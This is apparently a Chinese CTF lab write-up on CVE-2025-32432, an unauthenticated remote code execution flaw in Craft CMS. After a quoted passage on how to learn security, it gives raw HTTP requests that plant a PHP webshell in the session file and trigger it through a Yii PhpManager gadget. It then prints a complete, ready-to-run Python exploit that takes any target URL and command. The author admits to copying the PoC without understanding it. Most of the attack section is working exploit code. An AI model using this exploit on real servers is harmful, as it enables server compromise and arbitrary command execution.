【春秋云境】CVE-2025-32432 Craft CMS 未经身份验证下的远程代码执行漏洞

Python3.8

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

一、靶场介绍

Craft CMS是一款灵活易用的内容管理系统 ,可用于在网页及其他平台上打造定制化的管理。Craft CMS从 3.0.0-RC1 版本到 3.9.15 之前的版本、4.0.0-RC1 版本到 4.14.15 之前的版本以及 5.0.0-RC1 版本到 5.6.17 之前的版本都存在远程代码执行漏洞,攻击者可通过特定的POST请求在未经身份验证的情况下执行任意代码,获取服务器权限。
在这里插入图片描述
直接写步骤了,如果想要学习原理请查看这三个参考文章,如果想直接出答案,直接复制最后的Python脚本

感谢以下文章对我的帮助:
https://www.lwd3699.com/anquan/3030.html
https://blog.csdn.net/eason612/article/details/158460214
https://mp.weixin.qq.com/s/XYa1tGzjrygloWekbToFSw——徐来

引用掌控安全学院 - 徐来. 的三段话,作为安服路上的指引:

在网络安全学习中,技术文章是入门的阶梯,却也常是进阶的“陷阱”——多数文章循着“漏洞背景-利用代码-复现步骤”的模板复制粘贴,看似详尽,实则跳过了漏洞成因的核心解析与攻防逻辑的深层思考。真正的技能提升,从来不是“照着葫芦画瓢”地走完流程,而是以文章为线索,亲手拆解漏洞、复现攻击、研判防御,在实战中把“别人的经验”变成“自己的能力”。CVE-2025-32432的学习过程,正是这一逻辑的最佳印证。

直接运行文章中的POC确实成功执行了phpinfo,但在后利用中,POC失效——只能执行无参函数,此时我没有再查文章,尝试分析代码,对该漏洞有了新的认识。这个过程中,我不仅复现了漏洞,更通过“制造问题-解决问题”的研判,延伸出两种新的利用思路。而如果一直依赖文章的“标准答案”,永远不会知道“原POC失效时该怎么办”,更不会掌握漏洞的“变通利用”能力。

回顾CVE-2025-32432的学习过程,从“照着文章跑POC”到“拆解代码找核心”,再到“多环境复现研判”,我最深的体会是:技术文章只是“引子”,它能告诉你“有这个漏洞”,却无法教会你“怎么看透漏洞”“怎么应对变化”。网络安全的对抗本质,决定了“千篇一律”的经验毫无价值——攻击者不会按文章的步骤发起攻击,防御者也不能靠“抄来的配置”抵御风险。真正的技能提升,藏在每一次“放下文章,打开编译器”的实践里:拆解一行行代码,验证一个个猜想,解决一个个“文章没讲过”的问题。唯有如此,才能从“跟着学”的新手,变成“能独立研判”的从业者——这便是CVE-2025-32432教给我的,比漏洞本身更重要的学习逻辑。

二、POC

直接写步骤了,如果想要学习原理请查看上面三个参考文章,如果想直接出答案,直接复制最后的Python脚本

第一步获取写入websell

写入webshell 获取CraftSessionId值

在这里插入图片描述

GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1
Host: *
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive

第二步获取CRAFT_CSRF_TOKEN值

将第一步 获得的CraftSessionId值写到cookie中 获取CRAFT_CSRF_TOKEN值
在这里插入图片描述
同时搜索 csrfTokenValue 获取其数值
在这里插入图片描述

GET /admin/login HTTP/1.1
Host: *
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: CraftSessionId=d6fc4482987fd74fe1a9ddcf6cab7d40

第三步执行命令

在这里插入图片描述
将所有获取的数值进行拼接,注意 itemFile的后面值为CraftSessionId。

POST /index.php?p=actions/assets/generate-transform&cmd=cat+/flag HTTP/1.1
Host: *
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
X-CSRF-Token: GM1az2vUuafaLj6-e1vNwnf3J1o3PNO4PzXFGsaz5fpdGuXNQmURpHqMF5pS5f2Unh1J-hBru_Umo1cARWi1-gpXrUOR8b-yLjfIlDdXaZ0=
Cookie: CRAFT_CSRF_TOKEN=ce2a38cdca05ac9b1d525070d2e97ade9e46a2f16ac729a10fa474e24ee92271a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22bAMU91D3D3wDk0v7QTpZrTfB5bhYWBZHs--Yu2x9%22%3B%7D;CraftSessionId=d6fc4482987fd74fe1a9ddcf6cab7d40
Content-Length: 229
Content-Type: application/json

{"assetId": 0, "handle": {"width": 1, "height": 1, "as hack": {"class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "yii\\rbac\\PhpManager", "__construct()": [{"itemFile": "/tmp/sess_d6fc4482987fd74fe1a9ddcf6cab7d40"}]}}}

这个地方也可以直接读取文件,将文件名修改成flag
在这里插入图片描述

利用脚本

python exp.py -u http://127.0.0.1/ -c “cat /flag”

# poc.py
#!/usr/bin/env python3
"""
CVE-2025-32432 Two-Packet Chain PoC

This script exploits the unauthenticated RCE vulnerability in CraftCMS by:
1. Injecting PHP code into the session file via a GET request
2. Triggering code execution by abusing yii\\rbac\\PhpManager to include the session file

usage: poc.py [-h] -u URL -c CMD [--need-asset-id] [-a ASSET_ID] [-s SCAN_MAX]

CVE-2025-32432 - CraftCMS Unauthenticated RCE PoC

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Target URL (e.g., http://target:8088)
  -c CMD, --cmd CMD     Command to execute
  --need-asset-id       Need specify assetId manually or scan automatically
  -a ASSET_ID, --asset-id ASSET_ID
                        Known valid assetId (optional)
  -s SCAN_MAX, --scan-max SCAN_MAX
                        Maximum assetId to scan (default: 300)
"""
import re
import sys
import argparse
import urllib.parse
import urllib3
import requests

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


# Patch urllib3 to prevent automatic URL encoding (preserve <?=...?>)
def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)
    return self._orig_req(conn, method, url, **kw)


urllib3.connectionpool.HTTPConnectionPool._orig_req = \
    urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request


def scan_asset_id(sess: requests.Session, base: str, max_id: int = 300) -> int:
    """Scan for a valid assetId by checking response status codes."""
    api = f"{base}/index.php?p=admin/actions/assets/generate-transform"
    print(f"[*] Scanning for valid assetId (max: {max_id})...")

    for aid in range(1, max_id + 1):
        r = sess.post(
            api,
            json={"assetId": aid, "handle": {"width": 1, "height": 1}},
            verify=False,
            allow_redirects=False,
        )
        if r.status_code in (200, 302):
            print(f"[+] Found valid assetId = {aid}")
            return aid

    raise RuntimeError("[-] No valid assetId found. Try increasing --scan-max or specify manually with --asset-id")


def inject_payload(sess: requests.Session, base: str, php_code: str) -> tuple:
    """
    First packet: Inject PHP code into the session via GET request.
    Returns the CSRF token and Session ID.
    """
    print(f"[*] Injecting PHP payload into session...")
    payload_url = f"{base}/index.php"
    params = {
        "p": "admin/dashboard",
        "cve202532432": php_code  # PHP code passed directly without URL encoding
    }

    r = sess.get(payload_url, params=params, verify=False, allow_redirects=True)
    if r.status_code != 200:
        print(f"[!] Warning: Inject request returned status {r.status_code}")

    # Extract CSRF token from response
    match = re.search(r'name="CRAFT_CSRF_TOKEN" value="([^"]+)', r.text)
    if not match:
        raise RuntimeError("[-] Failed to extract CSRF token from response")
    csrf_token = match.group(1)

    # Get session ID from cookies
    session_id = sess.cookies.get("CraftSessionId")
    if not session_id:
        raise RuntimeError("[-] Failed to get CraftSessionId from cookies")

    print(f"[+] CSRF Token: {csrf_token}")
    print(f"[+] Session ID: {session_id}")
    return csrf_token, session_id


def trigger_rce(sess: requests.Session, base: str, asset_id: int,
                session_id: str, csrf_token: str, cmd: str) -> str:
    """
    Second packet: Trigger RCE by exploiting yii\\rbac\\PhpManager to include the session file.
    """
    print(f"[*] Triggering RCE via PhpManager session inclusion...")
    api = f"{base}/index.php"
    params = {
        "p": "actions/assets/generate-transform",
        "cmd": cmd
    }

    # Construct the malicious payload using Yii's dependency injection
    body = {
        "assetId": asset_id,
        "handle": {
            "width": 1,
            "height": 1,
            "as hack": {
                "class": "craft\\behaviors\\FieldLayoutBehavior",
                "__class": "yii\\rbac\\PhpManager",
                "__construct()": [{
                    "itemFile": f"/tmp/sess_{session_id}"
                }]
            }
        }
    }

    r = sess.post(
        api,
        params=params,
        json=body,
        headers={"X-CSRF-Token": csrf_token},
        verify=False,
    )

    if r.status_code not in (200, 500):
        raise RuntimeError(f"[-] RCE trigger failed with HTTP {r.status_code}")

    return r.text


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-32432 - CraftCMS Unauthenticated RCE PoC"
    )
    parser.add_argument(
        "-u", "--url",
        required=True,
        help="Target URL (e.g., http://target:8088)"
    )
    parser.add_argument(
        "-c", "--cmd",
        required=True,
        help="Command to execute"
    )
    parser.add_argument(
        "--need-asset-id",
        action="store_true",
        default=False,
        help="Need specify assetId manually or scan automatically"
    )
    parser.add_argument(
        "-a", "--asset-id",
        type=int,
        help="Known valid assetId (optional)"
    )
    parser.add_argument(
        "-s", "--scan-max",
        type=int,
        default=300,
        help="Maximum assetId to scan (default: 300)"
    )
    args = parser.parse_args()

    sess = requests.Session()
    base = args.url.rstrip("/")
    print(f"[*] Target: {base}")

    asset_id = 0
    if args.need_asset_id:
        asset_id = args.asset_id if args.asset_id is not None else scan_asset_id(sess, base, args.scan_max)

    # Step 2: Inject PHP payload into session
    php_code = r"<?=shell_exec($_GET['cmd']);exit;?>"
    print(f"[+] PHP Payload: {php_code}")
    csrf_token, session_id = inject_payload(sess, base, php_code)

    # Step 3: Trigger RCE
    print(f"[*] Executing command: {args.cmd}")
    output = trigger_rce(sess, base, asset_id, session_id, csrf_token, args.cmd)

    try:
        # Extract and display output
        print(f"[+] Command output:")
        print("-" * 50)
        print(output[output.index('cve202532432=')+13:])
        print("-" * 50)
    except ValueError as e:
        print(f"[!] Error: Unable to extract command output")


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Interrupted by user")
        sys.exit(130)
    except Exception as e:
        print(f"[!] Error: {e}", file=sys.stderr)
        sys.exit(1)



在这里插入图片描述

三、总结

到目前为止,我还是照着文章跑POC,最后得出了flag,我觉得这也是一种失败,但却无可奈何,因为实在是无法理解,为什么这样就可以,我也曾看了代码,看了POC,想着可以使用其他方法getshell,可最终还是无法理解漏洞的本质。只是一味的抄袭,我对我自己说了放弃。

您可能感兴趣的与本文相关的镜像

Python3.8

Python3.8

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值